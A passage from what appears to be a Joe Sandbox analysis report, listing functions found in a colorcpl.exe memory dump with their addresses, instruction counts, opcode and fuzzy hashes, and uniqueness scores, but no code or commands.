Instruction ID: 386f61ae6647e87f47226b11fa3b3024d97b19b193bb3954d67713dad63a174b
Opcode Fuzzy Hash: 6fa8d8b043a67a1cf1f64c9dcc76c7551672d76ce2b24fd86b889368b8ce5df3
Instruction Fuzzy Hash: 5E31AFB1201642DFD728CF54C890A5AB7BAFFA5708BE08A2ED0598B751D771F841CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 1E657962 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f0a3af76ddd6a91b9ba05fe908646bec8ce4ec01d5b5fcfa6571d6f896ff914
Instruction ID: f0f0d14f7a416e998da898e93bb8f19f96c1d772ab46292c18d6b0e7ca4afd28
Opcode Fuzzy Hash: 6f0a3af76ddd6a91b9ba05fe908646bec8ce4ec01d5b5fcfa6571d6f896ff914
Instruction Fuzzy Hash: B4313871A00189EFDF068F99CC909AEBBB6FF49384F914569FA45A7210C339EA50DB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E66196E Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5e83ac62f9b19783e513c68975baacdd8c119e376795f8a3421988f79caf789
Instruction ID: 2a510099407f9c954e82aa8cf83caf2b4bfeee4cc8b47a015543a33c498fa6df
Opcode Fuzzy Hash: d5e83ac62f9b19783e513c68975baacdd8c119e376795f8a3421988f79caf789
Instruction Fuzzy Hash: 61316FB1914253DFE311CB18C9C1B6977E9EB8D760F900719E14ADB290FB71AA81CB52

Uniqueness

Uniqueness Score: -1.00%

Function 1E62D6AA Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 759af7da7484718429cce7f3e89ec17e8e493d8f66f8a62f4e587b70ab487789
Instruction ID: 2cdec028ab12406a7db33aaa82ca32af3ace4d4bb5382f5fecce1d219496a2af
Opcode Fuzzy Hash: 759af7da7484718429cce7f3e89ec17e8e493d8f66f8a62f4e587b70ab487789
Instruction Fuzzy Hash: 5231BF76A01246AFDF118E54C890F5A7BBAEB95750FE68638AD049B250D338DD40CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E66BD4E Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40a55acd242a14859fef7661f3c4825b3016a1dc0310fc01f6871aa5412c2d06
Instruction ID: 142ad15ffd191c93976ac31c68b655eca9772ef0764d21a79235c1f0347f4afc
Opcode Fuzzy Hash: 40a55acd242a14859fef7661f3c4825b3016a1dc0310fc01f6871aa5412c2d06
Instruction Fuzzy Hash: D6312B71A11165EBCB01DF65CC41ABFB7B9FF48700B840669F902EB250E734AE10CB65

Uniqueness

Uniqueness Score: -1.00%

Function 1E62DE10 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf3f0434dff335bfe690e83c8215db02d0f2f7dd5f67888c9307a503729f2ad6
Instruction ID: a721994898577175618fde4a52a78e6551df690a81bd945bcc35d817cb0587df
Opcode Fuzzy Hash: bf3f0434dff335bfe690e83c8215db02d0f2f7dd5f67888c9307a503729f2ad6
Instruction Fuzzy Hash: 5F41A2B5D00359EEDB10CFAAD980AEDFBF4BB49700F90826EE559A7241DB305A84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 1E701C3C Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f358b4da7ece904735c98e6deffe8cfe7244b66df3bddd27f976fef8ef0900c8
Instruction ID: a14acf4fa1c48843b708f4a845ef4344f0af664ddf17fbb92513d66766d4ffa0
Opcode Fuzzy Hash: f358b4da7ece904735c98e6deffe8cfe7244b66df3bddd27f976fef8ef0900c8
Instruction Fuzzy Hash: 18318EB1E00125EBD744DF69C480AAEB7F1FF49311F158269D894DB351D734EA51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E6D1800 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1925d21079dc9b2cd4084dc6c7d8ee0d2a7bd9910c5ac426619cf122651f5061
Instruction ID: 8fa4ea107c91d4d3edc7955251436c2e2e7437d1ef8212e189a013729ed422a1
Opcode Fuzzy Hash: 1925d21079dc9b2cd4084dc6c7d8ee0d2a7bd9910c5ac426619cf122651f5061
Instruction Fuzzy Hash: DF31B136D0038AEBDB11CE85CC40F8A7BA9FF45760F9142A5E9409B250C3B1ED64DB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E629D96 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f7ef6010d119159a70e55a1c2896d0bec07369feaf947745203de0cc9ded3fb
Instruction ID: 2abf027dfd793936648015ac399d1ba74203457070f6d72f113305170f5fbb58
Opcode Fuzzy Hash: 3f7ef6010d119159a70e55a1c2896d0bec07369feaf947745203de0cc9ded3fb
Instruction Fuzzy Hash: 52314876600650EFC711CF18CC80F4AB7B9EF85790F988269E558CF242DA35ED41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E661C7C Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aa1581b76ec844e0a832e4b9bd8de25188f6a49d7b1f7b03bea876260e42600
Instruction ID: 4bdca27aac98961131c61d057baf4afdcbfa6c6f8e58c27bae06488865ca9504
Opcode Fuzzy Hash: 5aa1581b76ec844e0a832e4b9bd8de25188f6a49d7b1f7b03bea876260e42600
Instruction Fuzzy Hash: 0531E17A6206A2DFD701DF59C4C039A37B5EF1D350F914279EC88DB200E774DA028B84

Uniqueness

Uniqueness Score: -1.00%

Function 1E6D9E56 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c034d317b1ff391979d239163e6d70ad04abefaf774b5bfe93cec8477e7b3e55
Instruction ID: 0e8f229b7a26f120089bb6d0d65b91b3647495013a780a06d136d6f58c491752
Opcode Fuzzy Hash: c034d317b1ff391979d239163e6d70ad04abefaf774b5bfe93cec8477e7b3e55
Instruction Fuzzy Hash: 5C31C470A107828BD314CF6AC544716BBEAFFC6324F98CB2DD4A987290D770D809CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1E633EF4 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5792c921ca3ca2bbbe232b517931b81ea903973909e8099156e3e3dd86bc70c3
Instruction ID: a77043030397b8386b2a9b5e320b294f0f9a8c08c7ffd9efd36645547f524617
Opcode Fuzzy Hash: 5792c921ca3ca2bbbe232b517931b81ea903973909e8099156e3e3dd86bc70c3
Instruction Fuzzy Hash: D221AE39640254EFD711DB9ACD80E9BBBBAEF85B81FA14669E51997310D230EE40CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1E66B970 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df5ecbe202d80c9431c8cab0418e71b00cd63dff9c6539d5b7919d4bab28d3b7
Instruction ID: b05b99baeb62c4186931e1af8efb90266c115b46b666ffcf73826844dbae3600
Opcode Fuzzy Hash: df5ecbe202d80c9431c8cab0418e71b00cd63dff9c6539d5b7919d4bab28d3b7
Instruction Fuzzy Hash: D1319F39621986FFD7019F25DE44A8ABBA6FF8A350F946621E90147A61D735FC30CB80

Uniqueness

Uniqueness Score: -1.00%

Function 1E6D7F3E Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c93c25ceb6864824127cd0c1b1bca1bacde47f0bda7bbca02f2b2e7e43e2787d
Instruction ID: 7efc0dff1a1ad7e66700cb20e9b8aef55134095355038f3b93d1209f19815f2c
Opcode Fuzzy Hash: c93c25ceb6864824127cd0c1b1bca1bacde47f0bda7bbca02f2b2e7e43e2787d
Instruction Fuzzy Hash: 7731F3B5E0025A8BDB00CFA9C488ADDFBF5BF48350F95822AE855B3250DB34A941CF64

Uniqueness

Uniqueness Score: -1.00%

Function 1E633DD0 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8a6358be12509c6042863928d1a1517edee874b4675552ef4e413ec25245fb1
Instruction ID: bd4f45f8780cc323a794ec804092b44f8998644bf3f105c29dc94b719dedc362
Opcode Fuzzy Hash: a8a6358be12509c6042863928d1a1517edee874b4675552ef4e413ec25245fb1
Instruction Fuzzy Hash: 0F31DF76A01754CFDB00CF99C880B8EB7F2AF95725F60461AE8299B380C779E900CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E633616 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be9907f7cfc09a8383cd664f184ab6fd7c56afccdff34c125d6552ff2c446b9d
Instruction ID: 2207ed2f735b3e538bc1fa54ff49c53bb76ed77f3211febc5c7128ab158cccb0
Opcode Fuzzy Hash: be9907f7cfc09a8383cd664f184ab6fd7c56afccdff34c125d6552ff2c446b9d
Instruction Fuzzy Hash: AD2134311462919FDB219F44C984B5ABBA2FF83B12FF10B29E9590B750C730E844CB81

Uniqueness

Uniqueness Score: -1.00%

Function 1E6E9EDF Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24d70f97034e45b3790e6e13c47cfe03ae90d0219eca2f13fbe7e55ebcae098d
Instruction ID: d92748893709694284b0e96e7596a6589efd09bd84a871f05aa47c2301dc44a3
Opcode Fuzzy Hash: 24d70f97034e45b3790e6e13c47cfe03ae90d0219eca2f13fbe7e55ebcae098d
Instruction Fuzzy Hash: 90213772E01655EFCB05DF98C980F9EBBBAEF85754F5402A5F900AB291D670DE01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E643BD6 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8667db606c47577863af1fa507d4bd660f032b527acde5805306137d5ec688d1
Instruction ID: 90baceb7faa9bd9bf25a3582e25cdb54d2c69bd0629491a439d55585179dcf89
Opcode Fuzzy Hash: 8667db606c47577863af1fa507d4bd660f032b527acde5805306137d5ec688d1
Instruction Fuzzy Hash: ED21B579291AD1CFD315CB2EC0A0FA173E6FB42714FA446A6E886C7A90D378D881D710

Uniqueness

Uniqueness Score: -1.00%

Function 1E641CC7 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e25c32065e1f44ba7ee35a8843c1dd259944a6f319484d3b00e2bcc29375ecf
Instruction ID: 0c10c0773f4027d578b4e5cc0be0c6952f55792bc53f26e692641507fe9f6e79
Opcode Fuzzy Hash: 8e25c32065e1f44ba7ee35a8843c1dd259944a6f319484d3b00e2bcc29375ecf
Instruction Fuzzy Hash: 0A217C35701B40DFD721DB29C890B46B7E6FF89714F644A69E996876A0DB70A802CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E669660 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d623f4153bdf99953d156d8cfcd4bb6ac4365a9bef0c2cfe29ff036ed5dd1c59
Instruction ID: 9f5a189d0797b9b148f05e23a3dc35159eca6303325ab3539723734491a6058a
Opcode Fuzzy Hash: d623f4153bdf99953d156d8cfcd4bb6ac4365a9bef0c2cfe29ff036ed5dd1c59
Instruction Fuzzy Hash: 85213530531783DBEB219B22C940B4637A3AB89724FE40B2AED52C69A4D730EC41CB59

Uniqueness

Uniqueness Score: -1.00%

Function 1E70BC01 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61b4f1d8d144e717d759182dd9bf860c844f1d892085f153e6c3ceb13d60e067
Instruction ID: 7180c80c459444eca20056ae1665fce8c083320c417504ff8a218d1fb0c49a8e
Opcode Fuzzy Hash: 61b4f1d8d144e717d759182dd9bf860c844f1d892085f153e6c3ceb13d60e067
Instruction Fuzzy Hash: 1021BE76A00255EBEB119F59C884F6BBBB9EF46754F024665F8069B220DB34EE00CF91

Uniqueness

Uniqueness Score: -1.00%

Function 1E6E9D70 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e6689242450c0b1374e92ebd2e7380abb1c9bd64cfc4b2ea19698bdb3f7e53e
Instruction ID: 57478d83c520338e789229c920db1151028ceb88dfe3de2691aaa4c03aeb0bb1
Opcode Fuzzy Hash: 8e6689242450c0b1374e92ebd2e7380abb1c9bd64cfc4b2ea19698bdb3f7e53e
Instruction Fuzzy Hash: A621FF3AA01606ABCB22CF59C840F5F7BB9EF84760F544569F5149B390EA30ED00CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E671FB8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3929694f3905af1f749a0eb407148cf8a485d6ad2bbe172017e1e65db35563ae
Instruction ID: 9bb555d95709434ed04c3e07d29d8e07f3de61f42281b7d3673860f6f29f7c40
Opcode Fuzzy Hash: 3929694f3905af1f749a0eb407148cf8a485d6ad2bbe172017e1e65db35563ae
Instruction Fuzzy Hash: 1B21C2B5E00245EFD720DF59C440E5AB7F9EF44750F50896BE545A7240D330ED41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1E6ED8B0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e922d32d8be57c82137771ab3e3846df4152a11a23d6bc7fecf85d7dd53ab7f2
Instruction ID: 34c4fc4bf6864f6a25a935d6466971bc45352063f9f8dca6a30d4db164e94e9f
Opcode Fuzzy Hash: e922d32d8be57c82137771ab3e3846df4152a11a23d6bc7fecf85d7dd53ab7f2
Instruction Fuzzy Hash: 1B21CF36A02646AFDB12CE69CC40F5B77E9EF95760F514539E918876A0D330E901CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E65BF60 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e83e16d1926ed5c85796518dff9c69daa76d54f9d97ef626b1c599b30ff42a04
Instruction ID: 4089f2b2a4e933fd7afc620b6da0c064618af91b2805a33e5e1217b29c06ce89
Opcode Fuzzy Hash: e83e16d1926ed5c85796518dff9c69daa76d54f9d97ef626b1c599b30ff42a04
Instruction Fuzzy Hash: DE21BDB1200352CFEB108F91C990B02BBE5EF05754F96866AD9054F34AC779E844CFE0

Uniqueness

Uniqueness Score: -1.00%

Function 1E62FB4C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c127abe4603a0a42779a20a6cf4765ca859a8c0cd1fe1c92a88c9a2ea8e3ac3
Instruction ID: 95dfabfd06d29d4938d02e506a63412dbaaf7d486311bd28c70164ebc7a41c04
Opcode Fuzzy Hash: 2c127abe4603a0a42779a20a6cf4765ca859a8c0cd1fe1c92a88c9a2ea8e3ac3
Instruction Fuzzy Hash: 8021EF32900622DFC714CF65C4A06AAB3F5FF45311F9186BAC866A7650E771AA81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E63BA30 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14b53ade9a7183b9e2d79b028342502d5d29e7dc0e6f43e0776a18d399e6b7be
Instruction ID: de864cf208457b3d93cde899feede733b104f990f1a42eb4662515119f250d71
Opcode Fuzzy Hash: 14b53ade9a7183b9e2d79b028342502d5d29e7dc0e6f43e0776a18d399e6b7be
Instruction Fuzzy Hash: 60212636756AC1CFC3028B5EC854B5537EAFB4AB11F9406A1EC458B7D1E739EC00C651

Uniqueness

Uniqueness Score: -1.00%

Function 1E6BFEC5 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73a1d63f3872ed16ace24c513418e422492c907ad4830f6c18c9454c9705e0c2
Instruction ID: 5abf42b6e85df1939d3683161501c3e2d5690d474f720292d9176db11357a078
Opcode Fuzzy Hash: 73a1d63f3872ed16ace24c513418e422492c907ad4830f6c18c9454c9705e0c2
Instruction Fuzzy Hash: F011AC72B00A12ABD6114E698CA0711F37EFB437A5F451726E92093AF0C762EDE1CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 1E627BCD Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aff2ad48d0868055d471f314581c1a340ecd529334f2f5efbda3f4f6adf1869
Instruction ID: f189f8aa5d4f9806ed55680c3ddfb0e8b123ff8f8214d1cfbad350a78248e56d
Opcode Fuzzy Hash: 8aff2ad48d0868055d471f314581c1a340ecd529334f2f5efbda3f4f6adf1869
Instruction Fuzzy Hash: 5D110639A012569BCB249F79C460EAABBE6EF16720FD00B76E84697640D735E841CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1E62B765 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d86448af7a85f76f30b11cc367120008457a59bfea9257d28638fd3ed6e9a6c0
Instruction ID: c3a8105161fe252db4c9fc14b6d7732d5966bd1e7a1491f01246c1368c6bd29c
Opcode Fuzzy Hash: d86448af7a85f76f30b11cc367120008457a59bfea9257d28638fd3ed6e9a6c0
Instruction Fuzzy Hash: DC215772152681DFC721DF68CA40F59B7B9FB08718F944A39E00A97AA1C738B800CB48

Uniqueness

Uniqueness Score: -1.00%

Function 1E659A18 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e0df73b55497ddfadbe26ba18f34ecf871e8180e658a7c35b004a84e1aee84d
Instruction ID: 8c72f527728b94c6e21159bee50fd769bb383fbd549f3dec83dd38c135112fd2
Opcode Fuzzy Hash: 8e0df73b55497ddfadbe26ba18f34ecf871e8180e658a7c35b004a84e1aee84d
Instruction Fuzzy Hash: 0021AF72A11652DFC701CF14C900945BBBAFF43795B99D2A9E4188F314D731EE42CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E633720 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d88f45dd0001f0d62fa2f1ec0471271e7e01065537810ddf14d08d74697b0f9
Instruction ID: 458a976cc54b0a0a72ece3e287d295966737298e48beb1fa692e8f998e93a12e
Opcode Fuzzy Hash: 5d88f45dd0001f0d62fa2f1ec0471271e7e01065537810ddf14d08d74697b0f9
Instruction Fuzzy Hash: CF21F274E012498BF701CF69C0547EEBBB9EB8931AF758228C82A573D0CBB89845C758

Uniqueness

Uniqueness Score: -1.00%

Function 1E6BDDC0 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 279751e000c75b3e3a4caf8ad9a84f939f4216867475f6537399e36d33891942
Instruction ID: 9f84b60dba393aaed81bf06a31ec4687911a4b8e3da554d5367cd4146a9d9443
Opcode Fuzzy Hash: 279751e000c75b3e3a4caf8ad9a84f939f4216867475f6537399e36d33891942
Instruction Fuzzy Hash: 36215971A12682DFD305CF54C280604B7F6FBAA314B90CA7EC026CF691DB30A442CF05

Uniqueness

Uniqueness Score: -1.00%

Function 1E66BCA0 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 435ec20441679b49d0b9dc85c30e969150b76baf59bf81e95e4903d21b534327
Instruction ID: c78a12c9515744c72e231c08a760e0689a448c8ed60788396e5fb9c45edcb1db
Opcode Fuzzy Hash: 435ec20441679b49d0b9dc85c30e969150b76baf59bf81e95e4903d21b534327
Instruction Fuzzy Hash: AC112936A155D6DBD3019F1ACC10B55379AAF8A750F9407A1FE428B391EB39FD00C3A5

Uniqueness

Uniqueness Score: -1.00%

Function 1E66BFEC Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d7193f1e1caba985134c5dc1c82937ca3a0aad0c498a0644f45b1c7af5418cd
Instruction ID: bf7e518457143af7090d27b02f6de01d7f89da2326e6c7cbf0dada1bb374ee72
Opcode Fuzzy Hash: 2d7193f1e1caba985134c5dc1c82937ca3a0aad0c498a0644f45b1c7af5418cd
Instruction Fuzzy Hash: F5113F78252AD2CBD7148B6AC0A0BA173E9FB0A714F98065AE8CA87754D37ADC81C710

Uniqueness

Uniqueness Score: -1.00%

Function 1E6CD660 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84d8c099071c2c2e27e0d7cc270b2f1a9f3cfe9a568463a6261584609a9bdb37
Instruction ID: a1f1659c767ae1a18c0e495b6161840941de1225dd4d560abce6eb817ffa20de
Opcode Fuzzy Hash: 84d8c099071c2c2e27e0d7cc270b2f1a9f3cfe9a568463a6261584609a9bdb37
Instruction Fuzzy Hash: 55110635610684AFDB01DF66C540B9ABBF6EF9A354F604A6AD49A97300E770F901CB50

Uniqueness

Uniqueness Score: -1.00%

